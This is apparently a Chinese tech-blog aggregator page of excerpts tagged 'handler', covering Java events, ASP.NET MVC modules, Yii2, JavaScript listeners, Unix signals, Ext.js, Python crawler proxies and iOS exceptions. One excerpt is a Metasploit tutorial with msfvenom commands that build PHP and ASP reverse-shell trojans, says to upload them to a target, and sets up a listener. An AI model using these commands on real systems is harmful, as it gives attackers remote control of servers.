handler

Java实现事件机制

时光总嘲笑我的痴心妄想 提交于 2020-02-19 13:51:38
java中的事件机制的参与者有3种角色: 1.event object:事件状态对象,用于listener的相应的方法之中,作为参数,一般存在与listerner的方法之中 2.event source:具体的事件源,比如说,你点击一个button,那么button就是event source,要想使button对某些事件进行响应,你就需要注册特定的listener。 3.event listener:对每个明确的事件的发生,都相应地定义一个明确的Java方法。这些方法都集中定义在事件监听者(EventListener)接口中,这个接口要继承 java.util.EventListener。 实现了事件监听者接口中一些或全部方法的类就是事件监听者。 事件状态对象: public class EventState extends EventObject { private static final long serialVersionUID = 1331423214321432154L; //参数为事件源和状态名 public EventState(Object source ,String state ) { super ( source ); this . state = state ; } private String state = "" ; public String

MVC5-2 MVC的管道流与路由

北战南征 提交于 2020-02-19 13:50:27
自定义Modue与Hander 之前讲了管道流中的Module与Hndler。现在我们可以去自定义Module和Handler Module 其实很简单,一共需要三个步骤 定义一个类去继承IHttpModule。并实现接口,这里推荐类以Module结尾 在Init方法中注册我们所需要的事件,完成拦截器。 在WebConfig的System.webServer节点中配置Modules Handler 和自定义Module类似 创建一个类去继承IHttpHandler接口,并实现接口。 在ProcessRequest中进行做我们需要的处理 在WebConfig的system.webServer节点中配置hanlder 注:MVC也是这么去做的,注册了Mvc的Module和Mvc的Handler。 MVC管道 MVC的路由也是通过Module去拦截,然后找到匹配的路由。然后拿到handler激活Controller。下面解析一下过程 在MVC中我们在RouteConfig中配置路由。结构是这样的 那么截获它的是UrlRoutingModule => => 这个moudule如我们自定义的一样,继承了IHttpModule。注册了事件 application.PostResolveRequestCache += new EventHandler(this

msf建立php反弹shell

眉间皱痕 提交于 2020-02-19 13:45:25
一 建立反弹后门 msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.2.146 LPORT=5555 R > test3.php 注:生成的反弹木马存放在当前用户home目录下; 将生成的木马上传到目标机中,可以远程访问; windows下asp反弹木马: root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.131 -f asp > shell.asp 二 监听端口建立会话 1 使用handler模块 msf > use exploit/multi/handler 2 设置payload msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp(当时windows时php换成windows) PAYLOAD =>php/meterpreter/reverse_tcp 3 设置监听主机 msfexploit(multi/handler) > set LHOST 192.168.88.155 LHOST =>192.168.88.155 4 设置监听端口(默认4444) msfexploit(multi/handler) > set LPORT 4444

SpringMvc学习-环境搭建

蹲街弑〆低调 提交于 2020-02-19 11:54:10
最近在学习SpringMVC,首先来说说SpringMVC项目的搭建。 1.SpringMVC简介 spring Web MVC是一种基于 Java 的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC 架构 模式的思想,将web层进行职责解耦,基于请求驱动指的就是使用请求-响应模型,框架的目的就是帮助我们简化开发,Spring Web MVC也是要简化我们日常Web开发的。 另外还有一种基于组件的、事件驱动的Web框架在此就不介绍了,如Tapestry、JSF等。 Spring Web MVC也是服务到工作者模式的实现,但进行可优化。前端控制器是 DispatcherServlet; 应用控制器其实拆为处理器映射器(Handler Mapping)进行处理器管理和视图解析器(View Resolver)进行视图管理;页面控制器/动作/处理器为Controller接口(仅包含 ModelAndView handleRequest(request, response) 方法)的实现(也可以是任何的POJO类);支持本地化(Locale)解析、主题(Theme)解析及文件上传等;提供了非常灵活的数据验证、格式化和数据绑定机制;提供了强大的约定大于配置(惯例优先原则)的契约式编程支持。 模型-视图-控制器(MVC)是一个众所周知的以设计界面应用程序为基础的

yii2框架随笔7

主宰稳场 提交于 2020-02-18 18:24:57
继续解读Object.php /** * Calls the named method which is not a class method. * * Do not call this method directly as it is a PHP magic method that * will be implicitly called when an unknown method is being invoked. * @param string $name the method name * @param array $params method parameters * @throws UnknownMethodException when calling unknown method * @return mixed the method return value */ public function __call($name, $params) { throw new UnknownMethodException('Calling unknown method: ' . get_class($this) . "::$name()"); } /** * Returns a value indicating whether a property is defined. * A

addEventListener & removeEventListener || attachEvent & detachEvent

a 夏天 提交于 2020-02-18 08:28:47
<html> <head> <title>html5</title> </head> <body> <span id="test">dianji-click-event</span> <a id="bindEvent" href="javascript:;" >BindEvent</a> | <a id="removeEvent" href="javascript:;" >RemoveEvent</a> html5 <script type="text/javascript" > var EventUtil = { addHandler:function(ele,type,handler){ if(ele.addEventListener){ ele.addEventListener(type,handler,false); //buldding }else if(ele.attachEvent){ ele.attachEvent('on'+type,handler); }else{ ele["on"+type] = handler; } }, removeHandler:function(ele,type,handler){ if(ele.removeEventListener){ ele.removeEventListener(type,handler,false); /

第十章:信号

[亡魂溺海] 提交于 2020-02-18 07:13:54
一、信号的概念 使用信号进行进程间通信(IPC)是UNIX的一种传统机制,Linux也支持这种机制。 每一个信号都有一个名字,这些名字都以SIG开头。如SIGINT表示终端中断(Ctrl + C产生),SIGQUIT表示终端退出,SIGIO表示异步I/O。 我们可以使用kill -l命令查看所有信号 信号属于异步事件,它的发生对于进程是随机的。进行必须要告诉内核当信号发生时怎么处理。 对于信号的处理,我们可以有以下几种方式: 1. 忽略此信号,但是SIGKILL和SIGSTOP不能忽略,因为这两个信号向内核提供使进程终止的方法。 2. 捕捉并处理信号。 3. 执行系统默认动作,如Ctrl + C就是终端中断,程序中不做任何信号处理。 二、signal()函数 signal()函数的使用方法: 1. 包含头文件:#include <signal.h>。 2. 定义信号处理函数:typedef void (*sighandler_t)(int signum),其中的signum是信号名。 3. 注册信号:signal(int signum, sighandler_t handler);。 示例如下: 1 #include <stdio.h> 2 #include <unistd.h> 3 #include <signal.h> 4 5 static void sig_handler

Ext.widgets-Button,SplitButton,CycleButton

只愿长相守 提交于 2020-02-17 22:38:23
Ext.Action action实现一个脱离了容器的事件,所有它可以在多个容器之间共享,不过好象只有Ext.Toolbar, Ext.Button 和 Ext.menu.Menu支持action接口:),因为容器要实现下面所有的方法setText(string), setIconCls(string), setDisabled(boolean), setVisible(boolean) and setHandler(function) 方法: Action( Object config ) 构造,config定义为{ disabled : Boolean,//禁止使用 handler : Function,//事件句柄 hidden : Boolean,//隐藏 iconCls : String,//样式类 scope : Object, //handler将在哪个范围内执行 text : String //文本 } disable() : void enable() : void setDisabled( Boolean disabled ) : void 禁止/允许 each( Function fn, Object scope ) : void 为每个实现了此action的componet应用fn hide() : void show() : void setHidden(

初级爬虫第三天

雨燕双飞 提交于 2020-02-17 10:24:40
主要内容: 付费IP的使用方式 Auth认证 cookie登录验证 requests模块 一、付费IP使用方式: 1.1 无论是免费IP还是付费IP,在使用之前,都需要测试一下,如果好使,再去使用IP爬取数据。 1.2 IP池:列表套字典 eg:[{"https": "IP1:端口1"}, {"http": "IP2: 端口2"}, {"https": "IP3: 端口3"}] 1.3 遍历IP池,利用遍历出来的IP创建IP处理器,再利用处理创建发送网络请求的opener对象 1.4 opener.open()中有一个参数timeout=x,即:x秒之后如果程序还没有反应,就算做超时,报超时,x默认为30 1.5 利用异常处理IP值不好用的报错或者超时 代码: 1 import urllib.request 2 3 爬取百度首页"https://www.baidu.com/" 4 def proxy_user(): 5 #1.目标网页URL 6 url = "https://www.baidu.com/" 7 #2. User-Agent 8 user_agent = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121

iOS已发布应用中对异常信息捕获和处理

不羁的心 提交于 2020-02-17 07:57:01
iOS 已发布应用中对异常信息捕获和处理 iOS 开发中我们会遇到程序抛出异常退出的情况,如果是在调试的过程中,异常的信息是一目了然,但是如果是在已经发布的程序中,获取异常的信息有时候是比较困难的。 iOS 提供了异常发生的处理 API ,我们在程序启动的时候可以添加这样的 Handler ,这样的程序发生异常的时候就可以对这一部分的信息进行必要的处理,适时的反馈给开发者。 不足的地方是,并不是所有的程序崩溃都是由于发生可以捕捉的异常的,有些时候是因为内存等一些其他的错误导致程序的崩溃,这样的信息是不在这里体现的。 我做了一个简单的类,进行很基本的操作,可以添加和获取 Handler ,捕获到异常后将信息写入到 app 的 Documens 下的 Exception.txt 中。 其实还有很多的处理的办法。 l 比如可以在程序下一次起来的时候读取这个异常文件发生到服务端。 l 或者直接就是在处理代码中用 openurl 的方式 (mailto:) 调用发送邮件的方式,将异常信息直接变成邮件发送到指定地址。 以下是完整的代码实现。 使用场景示例: #pragma mark - #pragma mark Application lifecycle - (BOOL)application:(UIApplication *)application